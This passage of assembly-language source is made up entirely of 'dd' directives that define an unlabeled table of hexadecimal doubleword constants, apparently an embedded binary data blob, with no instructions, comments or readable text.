5F65CCD0h, 7860AC50h, 203F2889h dd 920ECCEEh, 0E39F98B5h, 0D89D5FC2h, 998680B0h, 85E660A0h dd 61C2C0EFh, 82C38032h, 848403D8h, 0F88766B0h, 47D26F42h dd 7476015Ch, 51DFBC66h, 20D830CCh, 23EDCCE8h, 113587B0h dd 0A5627ED2h, 0C405A7CCh, 1C841AF6h, 8F9E42Ch, 167E5544h dd 2A608C29h, 44ECDECCh, 28987ACBh, 94145672h, 748D0CC3h dd 6E364C00h, 7C4842C9h, 74831E8Bh, 60820068h, 660CBA39h dd 0C2CAF206h, 0F638D199h, 82CF1ECDh, 777C3A83h, 7D0FF812h dd 38B4000Dh, 0C17A28D5h, 88FC3D66h, 0A4613063h, 5762A16Bh dd 0DA436881h, 0E5ECBA24h, 99088061h, 6AC2C863h, 41EEE3CFh dd 2EF0C3D1h, 0AF68C0CBh, 0E382BC01h, 6A0038A6h, 0CB181DD0h dd 6328124Eh, 9C62C0D2h, 49A2700Ah, 4E18C8h, 1F7547CFh dd 5127E4Fh, 8CC3EC1Dh, 0C880FC4h, 93C018D4h, 0CD5096DAh dd 1968D0C4h, 6014544Ah, 13DA23D4h, 0F7087D40h, 50C5888h dd 0F5A02C10h, 5A44CA77h, 0CC5C0AA8h, 0C01402C9h, 68BE0422h dd 234800FFh, 3AE0CA7Fh, 0DAD2C06Ch, 84A0D19Dh, 7E528AE8h dd 0CDE98154h, 80511DECh, 28958488h, 28833C22h, 24B12565h dd 7BAC433Eh, 0C7F87842h, 1853D77Dh, 0C8280A36h, 70BC7EC6h dd 78E40CA7h, 52BE6888h, 0C78078D3h, 309BE854h, 0CC0850C2h dd 0F6494D3h, 0BD2C8F20h, 0A505A075h, 60ACBA7Eh, 33E06C3Ch dd 316220h, 0BD833448h, 841B11C2h, 5A07C5F8h, 0E9CF22CAh dd 0EE0A0241h, 7CE3A2E0h, 478AE54h, 8CA534B6h, 0D4E80433h dd 0BE425881h, 0E302CCF4h, 3314098Fh, 0DFA43EBEh, 71CA1860h dd 0C87B038Ah, 0CBAF821Eh, 0BD9F601Fh, 96080C1Ah, 302BEE70h dd 8871EE53h, 0BA482D50h, 0D6D9B028h, 8E411487h, 200D865h dd 533A76A1h, 10EC686h, 0C54259h, 0BAEA7FC1h, 311EFECEh dd 5A280FFAh, 5C191C50h, 0DA0079E3h, 85A1E6Fh, 2414C610h dd 8F1485E0h, 6FFB03F6h, 3A5002CDh, 4C68714h, 0A96C3CB0h dd 78C0F500h, 659A1E68h, 64C6196Ah, 0E9C40860h, 2F84E06Bh dd 0A456ED7Ch, 1CC00248h, 0D946B1h, 82FD267Ah, 192AE8FFh dd 4CE55C29h, 0A651AD8Fh, 703D79h, 76C79EDAh, 0BDB8FABAh dd 1F305956h, 309A3525h, 0D72583F1h, 7860BD76h, 208AD3A1h dd 1A30C967h, 0CA198888h, 7983147Ah, 2FC12C4Fh, 0DA07603Bh dd 1484FA03h, 2CEEF930h, 0EFFFD5C0h, 6B509450h, 0F914F6B8h dd 0A0A43982h, 62116B45h, 273A51B1h, 1476C25Fh, 46970C80h dd 9AA98A31h, 78A8A305h, 2833561Ah, 67ECC894h, 7A28C6D4h dd 648E78BDh, 1CEA9A08h, 0EDDA8636h, 0EB6078FBh, 43A13908h dd 449A567Fh, 0F8EB102h, 0ACA2F111h, 0FC86EFE6h, 0E414085Bh dd 0A074A2FFh, 200B5CA6h, 1A02E7ABh, 0D9BC109Bh, 0B2EF38E0h dd 0DCDD652Ah, 0EE3AFA12h, 0E2B34000h, 153E5A75h, 68BA7FC9h dd 8D55481h, 1040FA34h, 75F6EB5Ah, 28DC3A24h, 19A6F078h dd 11646EDBh, 24209B3Eh, 0F62A059h, 89380961h, 78032D8Fh dd 480B726h, 46004007h, 1088216Ah, 63069219h, 6C79392Ah dd 0EC69CFA8h, 851D391Fh, 4682F800h, 7F126071h, 0D7A6000Eh dd 629FF664h, 0E000E8D0h, 8D9B87D2h, 4FDA79h, 49CCCAD3h dd 0A498371Eh, 83758DB8h, 0B0407700h, 6EA14701h, 1058A3ECh dd 0C75E2A60h, 9BF0CCCBh, 84FA38C2h, 0F76A020h, 264CFAFh dd 0EF19BD61h, 0B75CC0B1h, 63D55507h, 0F42083E0h, 0FB993EEh dd 0D95B37C0h, 0D2443E83h, 9DE0F2D3h, 0B403B56Ah, 0AD5D6479h dd 0A9C39Eh, 0DE718441h, 467B1468h, 0F50E7500h, 207E6740h dd 28E63Ch, 0D34D5F0Dh, 848AB4E2h, 1957A1Eh, 5CAE8E7Eh dd 24AD2093h, 365E5Bh, 69A43155h, 21800FA6h, 0E37DE400h dd 5053B42Ch, 0DAECE0h, 83A4A843h, 311706B3h, 1FF7D700h dd 0C64174C4h, 961C3BF4h, 0B6002238h, 63B7F6CDh, 5401827Ch dd 2A26AC90h, 66831B9Fh, 88FF16DBh, 0BCE8E793h, 7C788E3Fh dd 79036200h, 68612154h, 0D22700A5h, 2051E077h, 44FC99DCh dd 39067F00h, 6E2901BDh, 5FD7746h, 0ED336B0Eh, 24F80F0h dd 0D6031541h, 521342B4h, 9286E0D5h, 0BD3A0108h, 4E0C7ACCh dd 0F835CDA5h, 9400E6B0h, 37C9FAD2h, 962068h, 0B26A86F8h dd 0B76BD7Dh, 69991000h, 0F34EA130h, 0DF340726h, 303A0975h dd 0F75E8B80h, 2754D900h, 0FE2B477Fh, 0DA2600BDh, 0C8B6A276h dd 88FE0514h, 78AFC306h, 0EA58372Eh, 8CB20242h, 932611DAh dd 6E3EB460h, 0AD91700h, 691BEFA7h, 0B6840709h, 0E0104BA4h dd 0F4FA14Dh, 80760B3Eh, 16147A9Dh, 3D6A5Ch, 5394BCEDh dd 0C88E8DF7h, 0BA54171Ch, 84323A00h, 5F3573h, 44D53362h dd 6FBC1E3Ch, 8B153600h, 95256B0Dh, 0C69801A0h, 755E6EB2h dd 3D188F82h, 1BB80DCh, 6FE109h, 9A3A262Fh, 5DFD643Eh dd 0F308B900h, 0CB8DDE7Eh, 0C204A62Dh, 7CC44018h, 3056BA3Fh dd 1A829CC9h, 5E4071D9h, 2812ADA9h, 6800D7BAh, 8F8E7EDBh dd 0A418C4E7h, 7FFD21BEh, 0A2F01842h, 845C250Ch, 2430D818h dd 62009B6Bh, 574B3681h, 6CCDF6Eh, 4CBC8992h, 9311185Ch dd 2D10770Eh, 563F854Fh, 57AE1804h, 0C7188722h, 8321842Fh dd 234808DAh, 100F2F42h, 9E620899h, 10DB2B91h, 0CA10C0Ah dd 684980F7h, 91B40812h, 0D8240718h, 90666532h, 0A604A177h dd 1D1A4C00h, 13EC9043h, 3BE90741h, 0B0810679h, 6DDFB733h dd 90FB4C00h, 7CAB9888h, 394E6154h, 0CC9A8980h, 7A07B5A5h dd 45D32CF5h, 0C9973740h, 2A9601D6h, 1E9083EDh, 1ABAF056h dd 0D06E4700h, 0B8617DB6h, 385E1D05h, 197900BFh, 939F3666h dd 6A00417Eh, 121C371Fh, 76EE5B6h, 7A8E91F2h, 0E6BCC078h dd 421E702Dh, 0AD005BECh, 17A09FD1h, 1C20FF0h, 0B92041CEh dd 4299FFA9h, 807F183Bh, 801046E6h, 3E69E8h, 0F6193FD8h dd 9DF8FE6Ah, 88EFF200h, 0C94D50BAh, 0D81081Ch, 8A5072C8h dd 9B8F87C3h, 0AB0F6053h, 0B07D67h, 221FF9FAh, 0E07921E4h dd 16FB183Ch, 0AF01D435h, 9A1B8702h, 8B32C080h, 955CBC2Fh dd 38348000h, 67AA867Bh, 0E4FD0C3Fh, 5E2899D2h, 2E92E70Fh dd 34824029h, 12A1ACDh, 778E0B16h, 0D078E39Ch, 7153E9D5h dd 5F15015Ch, 9B8E1102h, 7BF47F0h, 711292CAh, 6F6253B0h dd 0A6A93097h, 0E10F8A76h, 632BB3h, 1642F8BFh, 709805h dd 7D5BE6BEh, 4CE2A9Ah, 95001FF4h, 9F7AE302h, 4CB5E4CDh dd 28603185h, 2CDF83E9h, 3415020h, 8CA2EEC7h, 3CED9319h dd 6A000F58h, 129721F8h, 0F8026D73h, 669C0342h, 0AF7A8C13h dd 373452B0h, 3869AA00h, 0FD18E26Fh, 24CF036h, 0C817D7C2h dd 4DC0933Ch, 0E600AF61h, 0BDFA4F1Ah, 1EBE2D29h, 0FBED5EF1h dd 0C71FC71Eh, 4D8EC9h, 0FDE8C112h, 867D3D39h, 2191201Ch dd 0D39E3E38h, 0C040406Fh, 66F9CC09h, 2C9B6204h, 1843DFAh dd 173A3CBCh, 0CC93A900h, 0B9084846h, 7D603200h, 974965DBh dd 0E3FC0F43h, 42016A36h, 60FA3C5Ch, 0E5F6E431h, 64C45107h dd 0B1EC978Fh, 547D0021h, 4058AAF4h, 6D0F852Ch, 0FDB2A8B4h dd 7A2D3741h, 0C69836E1h, 0A9C89172h, 80AEC8DEh, 0D89C5F00h dd 0A0BC11AFh, 5812C780h, 5B014C9Fh, 0AEBD197Bh, 0E0AC4A8Bh dd 0A9A8DEh, 561B2BEEh, 2894F91Eh, 0C422D0EDh, 57890A03h dd 0E0247E1Ah, 0CF975Fh dd 0A9DF9BBEh, 0CAA8390Ch, 0F0448F57h, 0E936E082h, 3EDE2E0h dd 0A16EFEEEh, 8EA88DFCh, 47001283h, 6A0C4AADh, 3E742A6Bh dd 0F5009192h, 0DE75B673h, 3300DDA4h, 0DCF4A876h, 0F8067CEh dd 0ACFA1F7Ah, 94221120h, 0E0FFFDAAh, 0BB0141FFh, 3965D4BCh dd 30834896h, 0D311C7C2h, 6EC98900h, 6404A3FDh, 0E5E6034Ah dd 0E03F8D48h, 9D8428E5h, 0A6F0D276h, 0DD413Fh, 2D96C528h dd 9017CB2Bh, 0D323004Eh, 0D0E18054h, 0AA003C8Fh, 4226621Dh dd 0D2939A8h, 6D2D6165h, 0BD085028h, 11002895h, 0ABF9E181h dd 16C616Bh, 0A45D9C6Ah, 4825C91Ah, 280E08D0h, 804360CAh dd 74468ECBh, 0EEE800E5h, 0CDDCF2Fh, 7703E65Eh, 884CF8A4h dd 3CADC03Dh, 0FFF7006Bh, 4ADC0301h, 6100E333h, 0F6A577A0h dd 868B72h, 0B14E7170h, 8802AD1Eh, 186F9D0Fh, 103F6766h dd 0E0AFF673h, 1DEBB49Ch, 3D2537h, 56D769BAh, 0A8002D6Dh dd 307332CDh, 76FCB45h, 0AAFA4D68h, 252E8033h, 0A90058D0h dd 77538C6Bh, 304BA846h, 7A8198FCh, 180067E9h, 6F64249Eh dd 0A80C54h, 7F089D0Dh, 14834A8Eh, 674BC801h, 0CB16C06Dh dd 2D60DCh, 0B30E3518h, 0FD750D0Ah, 1D3BF63Ch, 1EC7BAA8h dd 76905E13h, 0C8CA9Fh, 9C0AE0A2h, 0B0F77A88h, 0A4FAA618h dd 6152C8h, 0D94C1077h, 0CC44EC46h, 7F745614h, 0A0FBF080h dd 0D0BA29E8h, 5B6F7044h, 26FC79C0h, 0CAA58AB6h, 0CEC460E0h dd 4090922Ah, 19C25E7Ch, 39D50F3Fh, 0B1270FF7h, 9CFD03E1h dd 141001F9h, 63900C47h, 1AE707F6h, 0EF277B24h, 0AA69D502h dd 40042424h, 0AA001286h, 9F8B7044h, 8ACF3E92h, 1089DCBCh dd 40F2465h, 16661401h, 37A6C028h, 3020DF24h, 54D68406h dd 0E10A01D0h, 5393625Ah, 1204E815h, 349DD900h, 0DC84103Eh dd 0A0F0018h, 39E0A5EFh, 24FEF35Ah, 46B92D2Ch, 0E3659B00h dd 7C770BAFh, 664B017Ch, 5D1552EFh, 0CB9BEC35h, 98C36500h dd 2D21C719h, 5E861DD6h, 281100FAh, 0DCB3E28Eh, 8229D0Eh dd 0C57E4075h, 3C24B30h, 0E8810968h, 38380282h, 62C48F87h dd 0B82B00E4h, 0D54284h, 5A24995Dh, 2CE90F88h, 0F062D602h dd 61F308C7h, 4B212B17h, 0FC0441A3h, 21612C00h, 0E6C9E4C2h dd 0CCFE63h, 8DD15B40h, 0E0CA8258h, 5530D460h, 3CF46CB3h dd 2703FD2Ch, 2E84B02Dh, 0A36FFEE1h, 0D423418h, 8F4C952Ch dd 25EF795Ah, 83E8B680h, 0A021D71h, 0E9A3750Bh, 6CC87CDh dd 841FE7C2h, 5530290Ch, 0F5883558h, 20F484CEh, 0C75D18A0h dd 1EEC2884h, 0A111210Ch, 24C2DA0Ah, 45AD8508h, 0B90C44BCh dd 65B827CCh, 95484A2Dh, 0A089880Ch, 8E215142h, 45DAA83Ch dd 150C4A48h, 0E0717824h, 1388DD00h, 2910CB93h, 0D3BF2861h dd 0A87A110Ch, 0D22310ACh, 0A1E8858Fh, 46C8A790h, 10A6D362h dd 5484DC05h, 50B83097h, 0C03B0CDAh, 9BADE749h, 13405DFFh dd 0CA95160h, 0C4A21AE4h, 0C15431h, 7F2A7391h, 85270EC0h dd 0E3E05A92h, 1CF6BEFh, 0BEA2D901h, 410720B8h, 3B9CF4E4h dd 3F002F5Fh, 0EB954946h, 606BB73h, 6D6982A5h, 75010340h dd 0DBBDDAF2h, 7376A008h, 2AD883C2h, 1800D666h, 56BEF9C4h dd 3969E476h, 48833845h, 72437CB6h, 180330A6h, 0E94BED47h dd 5A9480BDh, 0A395180Fh, 0CD7E889Eh, 0D6B07C00h, 3DB1A9A2h dd 1E1010E3h, 0C3E000BDh, 0B8AE984Ah, 917843h, 6A1D5141h dd 0F532963Ch, 9F9D9400h, 0AFDCFBF4h, 901E00B5h, 0EA39BE89h dd 9E00B480h, 209D3376h, 15582Fh, 44FD8294h, 0C227D532h dd 0AC634606h, 1597DE0h, 3FC6835Ah, 0DC18257Eh, 0C2E4105Fh dd 8BE6601h, 9F71E1B9h, 50C6BD03h, 2F7CA44h, 0DC7BA4BEh dd 14A6BA9Ch, 460A40D3h, 34DFFCB5h, 60BC1100h, 0BD9157h dd 0F5DA7F68h, 0EEC94822h, 944180Bh, 336A802Ah, 2EFD5E25h dd 0E8DFDBh, 89B66397h, 72074B32h, 0F03AEBDCh, 20B85CB6h dd 850C2D1Bh, 98FEB691h, 0A7B90013h, 96EDFACEh, 690CC02Fh dd 68F19550h, 0ACB11E40h, 30B3C17Dh, 9FEB7CDCh, 68E8C418h dd 80FE9E31h, 0E377Ah, 573380E9h, 3895F5A9h, 30805A9Dh dd 0BE5B9C25h, 8380C2Eh, 0E3D78137h, 45AFF292h, 0D97EC041h dd 0C6C66AE0h, 0B05B9D10h, 48E9250Dh, 22E0C8A5h, 1509074Eh dd 0C12AB25Ch, 61193299h, 3E78CC90h, 0FDF5A20Fh, 0DC30D8D6h dd 7039C769h, 64C2C11Ah, 5514F024h, 0E03A23FCh, 0BFC61B57h dd 2D04D019h, 384AC19h, 21505FDAh, 981E4EFFh, 7F00EE25h dd 0BF2EE57Ah, 14E91EF1h, 336D00BCh, 4D73DDADh, 7D79EA0Fh dd 118240D5h, 76FB12D0h, 0F71B018Bh, 0D8EF72A3h, 9CD9D029h dd 174AB219h, 0C4603218h, 0BE6100CAh, 0FBD21A2Ah, 7707A2B8h dd 0F87D7AB9h, 607C8410h, 0C016E8AEh, 9C8BD840h, 54078CA2h dd 0BF0B1DF2h, 6D7343BEh, 6CC6D0C5h, 0E7450064h, 0E1D8D6CAh dd 4F1DFC8Ch, 1F0046C9h, 1C29219Dh, 608700B6h, 0EAC68BEh dd 1A3EBA2Ah, 98FF026Bh, 0EE4A0F8h, 289B2F06h, 0A1222A32h dd 9FB56045h, 0F8E8C2E6h, 0C020C47Dh, 3D0F7E24h, 7A8FB717h dd 0CE1D7B86h, 85E3BFDBh, 0D802CBE8h, 0A3DD8030h, 7874839Bh dd 0A2B10142h, 0F4B5DA4Fh, 613058E7h, 42772721h, 6400C0AEh dd 0FA781C94h, 0ACB90060h, 0F21911E8h, 4500FFFAh, 8D868EBDh dd 0F3E27Fh, 0FE8F8CB0h, 0E9985085h, 42E040E3h, 0DA0069B3h dd 877E779Bh, 0E504B7h, 0A6F1FCCAh, 18678678h, 6BC0E700h dd 0D0958896h, 24440E2Ch, 0E4F4731Ch, 0BAB0F70Eh, 0DE42D838h dd 0CC889803h, 0BA8A7C1Dh, 14A08AA1h, 0E1FAC60Ch, 3FC503C4h dd 36E31BDFh, 0D1FDE0AFh, 3492BA4Bh, 0B4093C00h, 1DF158D0h dd 0A7AE0C43h, 0BEE824BBh, 0FC3052B0h, 0A3B0A1CDh, 18113088h dd 0E60BE8F8h, 905C7328h, 250450AEh, 74B68B42h, 48402084h dd 0BB3DC0BEh, 0D58E3054h, 0A6B2AC38h, 5C12A2E2h, 100A33CCh dd 9080B445h, 0E9D45B15h, 0B7EC0063h, 9F1B10B1h, 949199A4h dd 210F8420h, 0E039F089h, 0A494AEF2h, 9E5E24F9h, 9618184h dd 8AEC7711h, 58DE5530h, 126CDA04h, 26923801h, 0B8E9B7CBh dd 0B1BAF641h, 0B7B2EC40h, 91F8A8CCh, 0E33602D2h, 85339B80h dd 0C0F5A040h, 921D460h, 0F34CD2C4h, 0D8458450h, 4D7C0A20h dd 8185287h, 0FA80D558h, 8F5F1EAEh, 20EE0686h, 0A0B86839h dd 8B734A1h, 0F4DB0024h, 0F18CEE36h, 8902E6Dh, 2D001C90h dd 3490A159h, 31B1BDBAh, 0F6690288h, 30C2EB0Eh, 0AF460887h dd 40E45F08h, 2C10F960h, 393E9890h, 0B1BF8EC2h, 0D2F782C3h dd 0F08A5703h, 84073868h, 800C519Ch, 0A11883CCh, 5F9F4207h dd 28D0F15Ch, 0A2B2382h, 4509E334h, 312CA9C0h, 208DD509h dd 9B607FD8h, 0EA5F3B19h, 0FBA0A82Eh, 0E47D5450h, 1879900Ah dd 80EB8473h, 8E123DC1h, 0CC0266A6h, 42C5C374h, 0DC7CA0A9h dd 735A4C9h, 9DEFBACAh, 85E240A3h, 19240970h, 505020A7h dd 0C81154D7h, 30491C8h, 0A488C9C3h, 0F1CB14Ch, 0E0B9F738h dd 83B541CAh, 1BC501BDh, 7C2114F2h, 0D7B83437h, 0B9BF7601h dd 0F39E233Ch, 0B16C518Eh, 84E8DFE0h, 200C3721h, 10C0A170h dd 0FB5B0085h, 0A7D7EE2Dh, 4C2A4560h, 412430B4h, 87955CDFh dd 27007948h, 4EDCB731h, 499E8ED3h, 0A80118C3h, 0CB918CD1h dd 0DB8507Eh, 9749A413h, 0C885291Ch, 0F226F301h, 8040EFD1h dd 17A119ACh, 0CAE46h, 0D387CCCDh, 38C1C9F3h, 727A23FDh dd 9D61260h, 2D576F01h dd 0FFA7080h, 64905A91h, 26EBB600h, 0AEF3ED98h, 0BD0500C4h dd 0E2E87ACh, 9298D280h, 0CA0B500Ch, 2B18B3h, 0FC6082DDh dd 0B5A0A108h, 0A718C67Eh, 7A79F21Eh, 0B8C51256h, 5F1C4046h dd 7B5A1764h, 0BDB6A403h, 1CA838Ch, 76140FF8h, 60867Eh dd 30BB43DDh, 465C83E2h, 8CC1F06h, 0E359E0h, 8644B80Bh dd 55407D33h, 1A54C21Ch, 0ACBCA681h, 5F0073F6h, 4B0EC6F3h dd 0E0F8996Ch, 0A79E0243h, 0E3FC0C97h, 0DCF88049h, 62D0EE1Eh dd 5B5CF200h, 0BD8F0Eh, 2CE9A9CBh, 34E23F2Eh, 4400027Ah dd 669379E3h, 3BA3B1h, 0D5102199h, 0E81AEFA7h, 5697AC2Ch dd 5A6DAF01h, 95FC1D91h, 357D003Ch, 6AB4E881h, 7301752Eh dd 0C88EC152h, 0C7E70Ch, 2E2B340h, 7C996A7Fh, 0BB533500h dd 715A9775h, 8F51003Eh, 417F26AEh, 9E20736Fh, 0D99D1EDCh dd 1166180Fh, 200B5BFh, 3AB307F9h, 8F9C6Ah, 3D553ECDh dd 409FC9EAh, 0F4C84700h, 0D057F198h, 30DA0087h, 7101B5BEh dd 821212CEh, 5100069Fh, 5211CE4h, 0D26701C3h, 0A3E7E257h dd 0FED0B011h, 0C0EA765Bh, 17CCF934h, 8624BE2Ch, 6600770Eh dd 0C0359F89h, 0ED53003Ch, 926356D5h, 3A00D940h, 1C51A2EBh dd 14038910h, 94DFDC28h, 730E628h, 8F31C7D9h, 7B7CE0E7h dd 0FE0A965Fh, 909AC9E6h, 2ABE507h, 0F29C5B00h, 66B91F5Dh dd 551EC067h, 0D688DD65h, 8B8AA518h, 0C43658h, 0D7915E2Bh dd 313948B3h, 0A07F1E00h, 7D9A4558h, 0F837F016h, 53E207B2h dd 0BE64EFE6h, 0B069B803h, 19D894E0h, 0D1836D01h, 0D3B9740h dd 0A50C20h, 0D35AA1A6h, 0C710236h, 54987404h, 0FDC0E7AFh dd 779EC2Bh, 7B3164E2h, 991840D7h, 0F10E59A4h, 78FE51h dd 0DB7775AAh, 4F002E1h, 8037287Bh, 3B16DC80h, 55FC3267h dd 0BB2D8400h, 8CD3C7BDh, 107000B9h, 1D5C14DAh, 8F00E248h dd 43F4D69h, 56F151h, 13F43A9Ch, 216CEF30h, 5A346D00h dd 9EE760D7h, 0C50E00C1h, 0AC24D90Fh, 0A409158Eh, 0DA3496h dd 0B2A78609h, 0C2CB00A2h, 0B45CB86Dh, 1B1C70EEh, 4640FFE1h dd 0EC61AA5Dh, 33CB00DDh, 659C53F1h, 713BC3A6h, 6BF08011h dd 1C4C7940h, 0BF1600C2h, 0A3769477h, 8C0B340Fh, 80CBA6A1h dd 0AC0904Ch, 457D1F6Eh, 99B30686h, 90C02032h, 19141B4Fh dd 0F57F000Bh, 0AA8E109Bh, 8D0FC75Ch, 0E0D1D6A7h, 6A56743h dd 0C07A7496h, 461C2539h, 0F41E6283h, 0F1456610h, 39C05BFDh dd 7A0FE53h, 0E93E4E8Bh, 70969784h, 176B7AB9h, 4D984A8h dd 52E74101h, 5442F5B8h, 4C4260E2h, 0AEB300F2h, 82DB2BA6h dd 0B4486E26h, 32EE1B04h, 1918E858h, 7F77D2Ch, 0B13CBF5Ah dd 980C51F1h, 5C6CF462h, 0A9B83730h, 0C588A5h, 12B49DC3h dd 68D40E7Bh, 0AD0C5000h, 88C21E9Eh, 0ECD74AAAh, 0EBEF00FAh dd 9154AC25h, 0C608011Bh, 7B97B5F0h, 985181A6h, 3733423Bh dd 1F743020h, 715FF09h, 0CA7F8DEEh, 0EA830090h, 82ECA45Ah dd 62659100h, 0FA8BFD79h, 0FEF70042h, 70D6B4E1h, 1005D2Bh dd 0ECAD1DB2h, 45631656h, 517C6010h, 0E7A36400h, 0AB7E2FE5h dd 0CE8200C2h, 94676C7Bh, 0F019262h, 66DDAAAh, 0F4EC6001h dd 1DDF30CAh, 0FE737976h, 0AC18D200h, 6D1BDB84h, 5273F25h dd 325328E2h, 0B9FD9920h, 58AC081Dh, 3E082763h, 31F788BEh dd 88BBC188h, 7CA8602Ch, 7CB79C4h, 9A20990Eh, 8C12C2A6h dd 0EB7E5100h, 0DE988257h, 90580003h, 1CB6AAA7h, 0B3000C2Eh dd 0DB7901E3h, 1EE15C67h, 1EE7EAE0h, 725703D0h, 37A09CBEh dd 4F00FDEDh, 4DAB0A43h, 0A311626h, 53DA9F86h, 9895009Bh dd 0E728CA73h, 81029D72h, 99BA48D5h, 0E3E0DFDCh, 0D7001F7Fh dd 5AFA9F4Ch, 3405E72h, 132B5DD4h, 6CF0B042h, 0FB3FF4EAh dd 0AD5383BBh, 0B8A90544h, 3B88A2h, 0D6165168h, 844062DAh dd 0F0724A00h, 5ACC28CFh, 77CD004Bh, 0C8D2D64Fh, 237FF969h dd 0A8CE0700h, 0A2E790B4h, 927B176Eh, 0B7C4001Fh, 9A7716DEh dd 56205A03h, 0DB644Eh, 8E52C168h, 0EA9F0E89h, 63B4F91Dh dd 0FEE6D787h, 0DBD8C550h, 84220048h, 57E9C840h, 1A04AA60h dd 0DE08F71Fh, 0A8920883h, 3A87BBB2h, 0D300CCC3h, 0DF4D4307h dd 0F00D04Fh, 6F22FFA6h, 3EE73624h, 2780AAF7h, 7E1002FCh dd 21F00A8Fh, 61722CE2h, 2EB54B13h, 0ADE5B800h, 78F214h dd 0D71A9F4Fh, 700A2D11h, 96697D00h, 5D23D16h, 0B5C90035h dd 56DFB69Bh, 360E7F0Fh, 3B9A8DBh, 0D879F8E7h, 4CF7B46Ah dd 0F5017C5Ch, 7F9D23C3h, 21B8F72Dh, 6D00303Fh, 67AF980Eh dd 0CEC918h, 0E5FDE642h, 0C5BAA605h, 7900F4E2h, 98A7DD9Fh dd 3E924CBh, 0A01283F2h, 9BB81B99h, 9700E618h, 0ED6D1E0h dd 759D285Eh, 957C036Ch, 2E0411ABh, 63819BD0h, 48D99600h dd 7C829921h, 97021753h, 0AB8EB051h, 0D9F81800h, 0F74C7EC9h dd 0D59400E8h, 0B68F4E77h, 0E53D9936h, 1BD30048h, 0BC2DE93Ch dd 496C00A4h, 9514C9Bh, 560239C8h, 0E9D7A92Ch, 57E5E0A6h dd 0A8CC0B42h, 3700D269h, 0D443083Dh, 9ADD9000h, 55D062A9h dd 537856h, 0F1D77092h, 4A2980A2h, 0DCED8703h, 0AC6E2D81h dd 0DAD3080h, 0C72703B7h, 2E82F2F6h, 6FCDC2F8h, 0C0EF1312h dd 0C85A2400h, 90AF04h, 0B28EB929h, 0F7661982h, 6378A000h dd 9943152Ch, 54F100F2h, 90E7736Ch, 942C60DFh, 0EB007E6Dh dd 0F8F47CC3h, 0F7430566h, 0C0834AF2h, 75074B30h, 20520300h dd 9E9A0C04h, 6DAC00E3h, 2CA97B94h, 2D02FF6Bh, 71C6BC77h dd 6AE8A363h, 2FA9B856h, 9ACE80F3h, 2AA64107h, 0D643CCA0h dd 0AF2CE813h, 798890B0h, 92E3280Dh, 41143DE4h, 27207880h dd 86D9358h, 7CA34E00h, 0C90C886Fh, 6CE7121Bh, 75170076h dd 0AEAB33DCh, 0CA2A5C04h, 0B680A990h, 0E91BC94h, 45985A77h dd 0C56ACD80h, 0E301E79Eh, 7650476Fh, 0A0F894BFh, 90B500B8h dd 8536A68Ah, 54269771h, 0B0006BF9h, 0FCEF8B53h, 0C1BA0072h dd 13B45FB8h, 0D9126851h, 9400762Bh, 0AB5B8785h, 236B05ECh dd 0C5114AA8h, 4CDC003Ah, 10F6B401h, 3E2F7203h, 0C0499555h dd 0AD6644h, 1898506Fh, 4645ABF7h, 0D9F5AA00h, 8B3E3D4h dd 0A9E20161h, 0BAE3078h, 8EF0F3D5h, 4C3E364Ah, 201E80ADh dd 67FD62BEh, 0C9AB0EA3h, 7C803543h, 7137945Eh, 23BAEB00h dd 2D6FBB5Ah, 26F038h, 11C73BAFh, 0F5640128h, 0A885B700h dd 7BA39003h, 98C972D8h, 9B4400EFh, 8AA3C34h, 52392114h dd 69C580ECh, 238EFE4h, 2B7311h, 13906DEh, 0D345B52h, 45C86500h dd 98CA7BCBh, 0A0ED0E74h, 5660012Bh, 38AA8D63h, 7A3979B8h dd 43E81F5Dh, 0D76BCB80h, 538942h, 68813D29h, 0BB1304E6h dd 0D9FEB00h, 0DDCF820Ch, 0FE5C0E1Ch, 0CDE783CEh, 0F59360C8h dd 43982D45h, 49E9C600h, 9AD3B5EFh, 2B5C001Fh, 0A53C3F5Fh dd 0E0005D6Ah, 5ECAFCF6h, 735B9F7Ah, 3FFD70C2h, 0A1846F5Ch dd 0C0822C8Eh, 3B42C7E6h, 0BF18BC07h, 4380A817h, 70D58h dd 451B56C5h, 0CE72632Fh, 7C24D900h, 557D8C48h, 335D0020h dd 6D2FF01Dh, 5102AC21h, 1CEA0370h, 758081E5h, 8FDC0765h dd 3E8B075Bh, 605FD6E2h, 0B95EC04Fh, 77526400h, 0B4B82181h dd 53C200CFh, 0B34DAA15h, 14005D82h, 501C03B0h, 0ACE702h dd 12E4669Eh, 1BFC1659h, 39005675h, 34107742h, 964C28h dd 92DCDB6Ah, 806840C9h, 5C9AD800h, 52812BA7h, 5A1E1ED2h dd 19BAC32Ch dd 57A00CD7h, 73005071h, 0BB879B6Bh, 8F68D1h, 7CD8B22h dd 0C2F08248h, 6FB03150h, 0BCCEDF00h, 0A352F2EDh, 0CA2D0087h dd 841FD040h, 2C001410h, 6E8A8F3Fh, 0C417DEh, 958D9073h dd 7ED3C6EEh, 8E007478h, 0EB7D02E6h, 4EDCF9h, 0ABE2636Bh dd 414B1007h, 97277100h, 0CA87FB03h, 803B14D3h, 6126AC20h dd 0D977000Dh, 395B1638h, 2767A700h, 932A76CAh, 54F9001Eh dd 94477E4Ch, 8A011A1Bh, 0FB323519h, 0A7E32B8Eh, 85DFC9B0h dd 30C801F3h, 0CC0E5D38h, 32E3F0FEh, 6E73E400h, 0C4FF9E01h dd 45A40070h, 0D9CC5274h, 44EE3312h, 6686B500h, 81D8D4ECh dd 9DF02CEh, 48EEC240h, 0F7C3F883h, 0E914C90h, 17EFA00h dd 35A99F05h, 43750089h, 94BA8BC8h, 0DF008586h, 0B4E02B02h dd 1C666FD4h, 768631Bh, 0C0FC5FC9h, 749FE320h, 0FD420700h dd 50E1396Dh, 4C60019Ah, 8FACC010h, 404AF8F3h, 0EBFC3F0Eh dd 4B0FE031h, 8610C3h, 9EB4C6ABh, 39CF7CE2h, 17A4000h dd 26302D0Ah, 0A17D037Eh, 6B6641C4h, 9E42E180h, 0D8EEB600h dd 0CC330D9Dh, 20F0384Dh, 73E8E580h, 0CEA4F445h, 6B746112h dd 0F5A2D400h, 3F60C742h, 50006A29h, 0CA51C913h, 2000E30Bh dd 0DD71332Dh, 0BC5B83h, 0A4BF803Eh, 183910ACh, 86172400h dd 96FAF823h, 0E3F8FB7Bh, 0DFA10335h, 746B59AAh, 0C19897DBh dd 4D00D849h, 0A79F7E1h, 0E689CA5h, 62FA21B8h, 0C050A0E4h dd 10F4FCA1h, 39CEF000h, 1CD2C122h, 3D2300AFh, 3464D5D8h dd 0E4502A40h, 9C07FF96h, 7F77D4DDh, 